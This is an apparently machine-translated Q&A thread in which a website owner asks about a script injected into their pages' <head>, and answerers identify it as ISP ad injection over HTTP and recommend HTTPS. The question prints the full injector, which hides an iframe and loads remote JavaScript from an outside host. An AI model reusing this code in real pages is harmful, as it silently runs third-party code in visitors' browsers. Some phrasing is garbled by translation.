Является ли это внедренным кодом JavaScript и как предотвратить его появление после загрузки?

Является ли это внедренным кодом JavaScript и как предотвратить его появление после загрузки?

У меня есть статический веб-сайт. Я обновляю веб-страницы локально на своем компьютере, а затем загружаю их с помощью FileZilla. Тем не менее, после загрузки я просматриваю исходный код любой из моих страниц и вижу скрипт, который внедряется внутрь <head>. Скрипт не меняет макет или видимое содержимое страницы, поэтому я даже не знаю, что он делает:

<script>
    if (top == window) {
        var engageNameSpace = "engagens";
        "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
            function e(e) {
                return "undefined" != typeof e && null !== e
            }

            function t() {
                var t = document.createElement("script");
                t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
            }

            function n() {
                var t = r();
                if (e(t)) {
                    var n = t;
                    i() && (n = d(t));
                    var o;
                    try {
                        o = document.documentElement, o.appendChild(n)
                    } catch (c) {
                        o = document.body, o.appendChild(n)
                    }
                    a()
                }
            }

            function a() {
                function e(e) {
                    var n = e.data;
                    "l8IframeIsReady" === n.message && t()
                }
                window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
            }

            function r() {
                var t = document.createElement("iframe");
                if (e(t)) {
                    t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
                    var n = /firefox/i.exec(navigator.userAgent);
                    e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
                }
                return t
            }

            function i() {
                var t = !1,
                    n = /android (\d+)/i.exec(navigator.userAgent);
                return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
            }

            function d(e) {
                var t = document.createElement("div");
                return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
                    return !0
                }, t.appendChild(e), t
            }

            function o() {
                var t = void 0,
                    a = this,
                    r = function() {
                        e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
                    };
                t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
            }
            var c = "http://globe.moreforme.net",
                u = c + "/l8/EngageService?v=1",
                s = c + "/scripts/Engage.js";
            o()
        };
        var engageLoader = new window[engageNameSpace].engageLoader
    }
</script>

Проверив URL в скрипте http://globe.moreforme.net, я понял, что скрипт, скорее всего, от нашего интернет-провайдера (Globe). Поскольку я новичок в интернет-безопасности, я не знаю, как этот скрипт вообще туда попал. Мой сайт — это статический HTML. Как мне предотвратить появление этого скрипта в исходном коде после загрузки страницы?

РЕДАКТИРОВАТЬ:

Нашел этосвязьэто, кажется, шаблон кода для создания скрипта. Кто-нибудь знает, что делает скрипт?

решение1

Во-первых, это работает только потому, что вы используете HTTP, а не HTTPS.

Ваш интернет-провайдер внедряет этот скрипт, а затем использует его для динамической загрузки другого скрипта (в iframe?).

По какой-то причине я не могу перейти на сайт globe.moreforme.net, где размещены скрипты... он перенаправляет меня на сайт globe.moreforme.ph, поэтому сайт globe.moreforme.net, скорее всего, доступен только пользователям интернет-провайдера.

Теперь, если бы мне пришлось сделать смелую догадку... Я бы сказал, что интернет-провайдер использует этот динамически загружаемый скрипт для перехвата рекламы на посещаемых вами страницах, чтобы присвоить себе обзор.

Вы должны быть в состоянии предотвратить это, либо используя только сайты HTTPS, либо используя безопасный прокси SOCKS5 (который глупо просто настроить на VPS за чертовски дешево), посмотрев в Dynamic Port ForwardingSSH. В качестве альтернативы вы можете рассмотреть ShadowSocks, если вы находитесь в стране, где есть общенациональный брандмауэр (Китай).

решение2

Это результат сотрудничества Globe Telecom с вредоносными сетями Flash Networks с целью изменения страниц, загружаемых их клиентами, путем добавления своей рекламы и, возможно, взлома чужой рекламы.

Законность этого сомнительна - они должны нарушать как минимум законы об авторских правах. Но учитывая филиппинскую юрисдикцию, я не думаю, что вы можете что-то сделать законно.

Это также причина, по которой все сайты должны использовать HTTPS и отключать HTTP (кроме перенаправления на HTTPS). Сегодня существует множество способов получить SSL-сертификат для вашего DNS-имени бесплатно, и это также улучшает ваш рейтинг Google.

Связанный контент